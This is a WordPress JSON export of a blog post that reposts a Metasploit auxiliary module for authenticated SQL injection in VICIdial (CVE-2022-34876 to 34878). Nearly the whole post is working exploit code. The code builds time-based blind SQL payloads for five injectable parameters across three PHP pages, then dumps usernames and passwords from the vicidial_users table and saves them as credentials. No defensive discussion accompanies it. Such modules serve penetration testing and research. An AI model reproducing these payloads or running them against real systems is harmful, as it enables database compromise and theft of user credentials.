{"id":59380,"date":"2024-09-01T22:40:08","date_gmt":"2024-09-01T19:40:08","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181209\/vicidial_multiple_sqli.rb.txt"},"modified":"2024-09-01T22:40:08","modified_gmt":"2024-09-01T19:40:08","slug":"vicidial-multiple-authenticated-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/vicidial-multiple-authenticated-sql-injection\/","title":{"rendered":"VICIdial Multiple Authenticated SQL Injection"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Auxiliary::Scanner<br \/>include Msf::Exploit::SQLi<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;VICIdial Multiple Authenticated SQLi&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits several authenticated SQL Inject vulnerabilities in VICIdial 2.14b0.5 prior to<br \/>svn\/trunk revision 3555 (VICIBox 10.0.0, prior to January 20 is vulnerable).<br \/>Injection point 1 is on vicidial\/admin.php when adding a user, in the modify_email_accounts parameter.<br \/>Injection point 2 is on vicidial\/admin.php when adding a user, in the access_recordings parameter.<br \/>Injection point 3 is on vicidial\/admin.php when adding a user, in the agentcall_email parameter.<br \/>Injection point 4 is on vicidial\/AST_agent_time_sheet.php when adding a user, in the agent parameter.<br \/>Injection point 5 is on vicidial\/user_stats.php when adding a user, in the file_download parameter.<br \/>VICIdial does not encrypt passwords by default.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;h00die&#8217; # msf module, discovery<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/www.vicidial.org\/VICIDIALforum\/viewtopic.php?f=4&amp;t=41300&amp;sid=aacb27a29fefd85265b4d55fe51122af&#8217;],<br \/>[ &#8216;CVE&#8217;, &#8216;2022-34876&#8217;], # admin.php<br \/>[ &#8216;CVE&#8217;, &#8216;2022-34877&#8217;], # AST_agent_time_sheet.php<br \/>[ &#8216;CVE&#8217;, &#8216;2022-34878&#8217;] # user_stats.php<br \/>],<br \/>&#8216;Actions&#8217; =&gt; [<br \/>[&#8216;List Users &#8211; modify_email_accounts method&#8217;, { &#8216;Description&#8217; =&gt; &#8216;Queries username, password for COUNT users&#8217; }],<br \/>[&#8216;List Users &#8211; access_recordings method&#8217;, { &#8216;Description&#8217; =&gt; &#8216;Queries username, password for COUNT users&#8217; }],<br \/>[&#8216;List Users &#8211; agentcall_email method&#8217;, { &#8216;Description&#8217; =&gt; &#8216;Queries username, password for COUNT users&#8217; }],<br \/>[&#8216;List Users &#8211; agent_time_sheet method&#8217;, { &#8216;Description&#8217; =&gt; &#8216;Queries username, password for COUNT users&#8217; }],<br \/>[&#8216;List Users &#8211; user_stats method&#8217;, { &#8216;Description&#8217; =&gt; &#8216;Queries username, password for COUNT users&#8217; }],<br \/>],<br \/>&#8216;DefaultAction&#8217; =&gt; &#8216;List Users&#8217;,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2022-04-19&#8217;,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS],<br \/>&#8216;Reliability&#8217; =&gt; []}<br \/>)<br \/>)<br \/>register_options [<br \/>OptInt.new(&#8216;COUNT&#8217;, [false, &#8216;Number of users to enumerate&#8217;, 3]),<br \/>OptString.new(&#8216;USERNAME&#8217;, [true, &#8216;Valid Username for login&#8217;, &#8216;6666&#8217;]),<br \/>OptString.new(&#8216;PASSWORD&#8217;, [true, &#8216;Valid Password for login&#8217;, &#8221;]),<br \/>OptString.new(&#8216;ACTION&#8217;, [true, &#8216;Valid Password for login&#8217;, &#8216;List Users &#8211; access_recordings method&#8217;])<br \/>]end<\/p>\n<p>def post_4a<br \/>{<br \/>&#8216;ADD&#8217; =&gt; &#8216;4A&#8217;,<br \/>&#8216;custom_fields_modify&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;user&#8217; =&gt; &#8216;111&#8217;,<br \/>&#8216;pass&#8217; =&gt; &#8216;111&#8217;,<br \/>&#8216;force_change_password&#8217; =&gt; &#8216;N&#8217;,<br \/>&#8216;full_name&#8217; =&gt; &#8216;111&#8217;,<br \/>&#8216;user_level&#8217; =&gt; &#8216;1&#8217;,<br \/>&#8216;user_group&#8217; =&gt; &#8216;ADMIN&#8217;,<br \/>&#8216;phone_login&#8217; =&gt; &#8216;111&#8217;,<br \/>&#8216;phone_pass&#8217; =&gt; &#8216;111&#8217;,<br \/>&#8216;active&#8217; =&gt; &#8216;Y&#8217;,<br \/>&#8216;voicemail_id&#8217; =&gt; &#8221;,<br \/>&#8217;email&#8217; =&gt; &#8221;,<br \/>&#8216;mobile_number&#8217; =&gt; &#8221;,<br \/>&#8216;user_code&#8217; =&gt; &#8221;,<br \/>&#8216;user_location&#8217; =&gt; &#8221;,<br \/>&#8216;territory&#8217; =&gt; &#8221;,<br \/>&#8216;user_nickname&#8217; =&gt; &#8221;,<br \/>&#8216;user_new_lead_limit&#8217; =&gt; &#8216;-1&#8217;,<br \/>&#8216;agent_choose_ingroups&#8217; =&gt; &#8216;1&#8217;,<br \/>&#8216;agent_choose_blended&#8217; =&gt; &#8216;1&#8217;,<br \/>&#8216;hotkeys_active&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;scheduled_callbacks&#8217; =&gt; &#8216;1&#8217;,<br \/>&#8216;agentonly_callbacks&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;next_dial_my_callbacks&#8217; =&gt; &#8216;NOT_ACTIVE&#8217;,<br \/>&#8216;agentcall_manual&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;manual_dial_filter&#8217; =&gt; &#8216;DISABLED&#8217;,<br \/>&#8216;agentcall_email&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;agentcall_chat&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;vicidial_recording&#8217; =&gt; &#8216;1&#8217;,<br \/>&#8216;vicidial_transfers&#8217; =&gt; &#8216;1&#8217;,<br \/>&#8216;closer_default_blended&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;user_choose_language&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;selected_language&#8217; =&gt; &#8216;defaultEnglish&#8217;,<br \/>&#8216;vicidial_recording_override&#8217; =&gt; &#8216;DISABLED&#8217;,<br \/>&#8216;mute_recordings&#8217; =&gt; &#8216;DISABLED&#8217;,<br \/>&#8216;alter_custdata_override&#8217; =&gt; &#8216;NOT_ACTIVE&#8217;,<br \/>&#8216;alter_custphone_override&#8217; =&gt; &#8216;NOT_ACTIVE&#8217;,<br \/>&#8216;agent_shift_enforcement_override&#8217; =&gt; &#8216;DISABLED&#8217;,<br \/>&#8216;agent_call_log_view_override&#8217; =&gt; &#8216;DISABLED&#8217;,<br \/>&#8216;hide_call_log_info&#8217; =&gt; &#8216;DISABLED&#8217;,<br \/>&#8216;agent_lead_search&#8217; =&gt; &#8216;NOT_ACTIVE&#8217;,<br \/>&#8216;lead_filter_id&#8217; =&gt; &#8216;NONE&#8217;,<br \/>&#8216;user_hide_realtime&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;allow_alerts&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;preset_contact_search&#8217; =&gt; &#8216;NOT_ACTIVE&#8217;,<br \/>&#8216;max_inbound_calls&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;max_inbound_filter_enabled&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;max_inbound_filter_min_sec&#8217; =&gt; &#8216;-1&#8217;,<br \/>&#8216;max_hopper_calls&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;max_hopper_calls_hour&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;wrapup_seconds_override&#8217; =&gt; &#8216;-1&#8217;,<br \/>&#8216;ready_max_logout&#8217; =&gt; &#8216;-1&#8217;,<br \/>&#8216;status_group_id&#8217; =&gt; &#8221;,<br \/>&#8216;custom_one&#8217; =&gt; &#8221;,<br \/>&#8216;custom_two&#8217; =&gt; &#8221;,<br \/>&#8216;custom_three&#8217; =&gt; &#8221;,<br \/>&#8216;custom_four&#8217; =&gt; &#8221;,<br \/>&#8216;custom_five&#8217; =&gt; &#8221;,<br \/>&#8216;qc_enabled&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;qc_user_level&#8217; =&gt; &#8216;1&#8217;,<br \/>&#8216;qc_pass&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;qc_finish&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;qc_commit&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;realtime_block_user_info&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;admin_hide_lead_data&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;admin_hide_phone_data&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;ignore_group_on_search&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;user_admin_redirect_url&#8217; =&gt; &#8221;,<br \/>&#8216;view_reports&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;access_recordings&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;alter_agent_interface_options&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;modify_users&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;change_agent_campaign&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;delete_users&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;modify_usergroups&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;delete_user_groups&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;modify_lists&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;delete_lists&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;load_leads&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;modify_leads&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;export_gdpr_leads&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;download_lists&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;export_reports&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;delete_from_dnc&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;modify_campaigns&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;campaign_detail&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;delete_campaigns&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;modify_ingroups&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;delete_ingroups&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;modify_inbound_dids&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;delete_inbound_dids&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;modify_custom_dialplans&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;modify_remoteagents&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;delete_remote_agents&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;modify_scripts&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;delete_scripts&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;modify_filters&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;delete_filters&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;ast_admin_access&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;ast_delete_phones&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;modify_call_times&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;delete_call_times&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;modify_servers&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;modify_shifts&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;modify_phones&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;modify_carriers&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;modify_email_accounts&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;vKik&#8217; =&gt; &#8216;vKik&#8217;,<br \/>&#8216;modify_labels&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;modify_colors&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;modify_languages&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;modify_statuses&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;modify_voicemail&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;modify_audiostore&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;modify_moh&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;modify_tts&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;modify_contacts&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;callcard_admin&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;modify_auto_reports&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;add_timeclock_log&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;modify_timeclock_log&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;delete_timeclock_log&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;manager_shift_enforcement_override&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;pause_code_approval&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;admin_cf_show_hidden&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;modify_ip_lists&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;ignore_ip_list&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;two_factor_override&#8217; =&gt; &#8216;NOT_ACTIVE&#8217;,<br \/>&#8216;vdc_agent_api_access&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;api_list_restrict&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;api_allowed_functions[]&#8217; =&gt; &#8216;ALL_FUNCTIONS&#8217;,<br \/>&#8216;api_only_user&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;modify_same_user_level&#8217; =&gt; &#8216;1&#8217;,<br \/>&#8216;alter_admin_interface_options&#8217; =&gt; &#8216;1&#8217;,<br \/>&#8216;SUBMIT&#8217; =&gt; &#8216;SUBMIT&#8217;<br \/>}<br \/>end<\/p>\n<p>def basic_auth<br \/>user_pass = &#8220;#{datastore[&#8216;USERNAME&#8217;]}:#{datastore[&#8216;PASSWORD&#8217;]}&#8221;<br \/>{<br \/>&#8216;Authorization&#8217; =&gt; &#8220;Basic #{Rex::Text.encode_base64(user_pass)}&#8221;<br \/>}<br \/>end<\/p>\n<p>def inject_admin_page(param, payload)<br \/>data = post_4a<br \/>d = Rex::Text.rand_text_numeric(4)<br \/>data[param] = &#8220;0&#8242; AND (SELECT #{Rex::Text.rand_text_numeric(4)} FROM (SELECT(#{payload}))#{Rex::Text.rand_text_alpha(4)}) AND &#8216;#{d}&#8217;=&#8217;#{d}&#8221;<br \/>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;vicidial&#8217;, &#8216;admin.php&#8217;),<br \/>&#8216;headers&#8217; =&gt; basic_auth,<br \/>&#8216;vars_post&#8217; =&gt; data<br \/>})<\/p>\n<p>fail_with Failure::Unreachable, &#8216;Connection failed&#8217; unless res<br \/>end<\/p>\n<p>def run_host(ip)<br \/>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;vicidial&#8217;, &#8216;admin.php&#8217;),<br \/>&#8216;headers&#8217; =&gt; basic_auth<br \/>})<\/p>\n<p>fail_with(Failure::Unreachable, &#8216;Failed to load website&#8217;) unless res<br \/>fail_with(Failure::NoAccess, &#8216;Invalid login\/password&#8217;) if res.code == 401<br \/>@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload|<br \/>d = Rex::Text.rand_text_numeric(4)<br \/>if datastore[&#8216;ACTION&#8217;] == &#8216;List Users &#8211; modify_email_accounts method&#8217;<br \/>inject_admin_page(&#8216;modify_email_accounts&#8217;, payload)<br \/>elsif datastore[&#8216;ACTION&#8217;] == &#8216;List Users &#8211; access_recordings method&#8217;<br \/>inject_admin_page(&#8216;access_recordings&#8217;, payload)<br \/>elsif datastore[&#8216;ACTION&#8217;] == &#8216;List Users &#8211; agentcall_email method&#8217;<br \/>inject_admin_page(&#8216;agentcall_email&#8217;, payload)<br \/>elsif datastore[&#8216;ACTION&#8217;] == &#8216;List Users &#8211; agent_time_sheet method&#8217;<br \/>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;vicidial&#8217;, &#8216;AST_agent_time_sheet.php&#8217;),<br \/>&#8216;headers&#8217; =&gt; basic_auth,<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;agent&#8217; =&gt; &#8220;0&#8242; AND (SELECT #{Rex::Text.rand_text_numeric(4)} FROM (SELECT(#{payload}))#{Rex::Text.rand_text_alpha(4)}) AND &#8216;#{d}&#8217;=&#8217;#{d}&#8221;<br \/>}<br \/>})<br \/>elsif datastore[&#8216;ACTION&#8217;] == &#8216;List Users &#8211; user_stats method&#8217;<br \/>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;vicidial&#8217;, &#8216;user_stats.php&#8217;),<br \/>&#8216;headers&#8217; =&gt; basic_auth,<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;DB&#8217; =&gt; &#8221;,<br \/>&#8216;pause_code_rpt&#8217; =&gt; &#8221;,<br \/>&#8216;park_rpt&#8217; =&gt; &#8216;1&#8217;,<br \/>&#8216;did_id&#8217; =&gt; &#8221;,<br \/>&#8216;did&#8217; =&gt; &#8221;,<br \/>&#8216;begin_date&#8217; =&gt; Date.today.to_s,<br \/>&#8216;end_date&#8217; =&gt; Date.today.to_s,<br \/>&#8216;user&#8217; =&gt; &#8221;,<br \/>&#8216;submit&#8217; =&gt; &#8216;submit&#8217;,<br \/>&#8216;search_archived_data&#8217; =&gt; &#8221;,<br \/>&#8216;NVAuser&#8217; =&gt; &#8221;,<br \/>&#8216;file_download&#8217; =&gt; &#8220;1&#8242; AND (SELECT #{Rex::Text.rand_text_numeric(4)} FROM (SELECT(#{payload}))#{Rex::Text.rand_text_alpha(4)}) AND &#8216;#{d}&#8217;=&#8217;#{d}&#8221;<br \/>}<br \/>})<br \/>end<br \/>end<\/p>\n<p>unless @sqli.test_vulnerable<br \/>print_bad(&#8220;#{peer} &#8211; Testing of SQLi failed. If this is time based, try increasing SqliDelay.&#8221;)<br \/>return<br \/>end<br \/>columns = [&#8216;user&#8217;, &#8216;pass&#8217;]\n<p>print_status(&#8216;Enumerating Usernames and Password Hashes&#8217;)<br \/>data = @sqli.dump_table_fields(&#8216;vicidial_users&#8217;, columns, &#8221;, datastore[&#8216;COUNT&#8217;])<\/p>\n<p>table = Rex::Text::Table.new(&#8216;Header&#8217; =&gt; &#8216;vicidial_users&#8217;, &#8216;Indent&#8217; =&gt; 1, &#8216;Columns&#8217; =&gt; columns)<br \/>data.each do |user|<br \/>create_credential({<br \/>workspace_id: myworkspace_id,<br \/>origin_type: :service,<br \/>module_fullname: fullname,<br \/>username: user[0],<br \/>private_type: :password,<br \/>private_data: user[1],<br \/>service_name: &#8216;VICIdial&#8217;,<br \/>address: ip,<br \/>port: datastore[&#8216;RPORT&#8217;],<br \/>protocol: &#8216;tcp&#8217;,<br \/>status: Metasploit::Model::Login::Status::UNTRIED<br \/>})<br \/>table &lt;&lt; user<br \/>end<br \/>print_good(&#8216;Dumped table contents:&#8217;)<br \/>print_line(table.to_s)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Scannerinclude Msf::Exploit::SQLi def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;VICIdial Multiple Authenticated SQLi&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits several authenticated SQL Inject vulnerabilities in VICIdial 2.14b0.5 prior tosvn\/trunk revision 3555 (VICIBox 10.0.0, prior to January 20 is vulnerable).Injection point 1 is on vicidial\/admin.php when &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59380","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59380","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59380"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59380\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59380"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59380"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59380"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}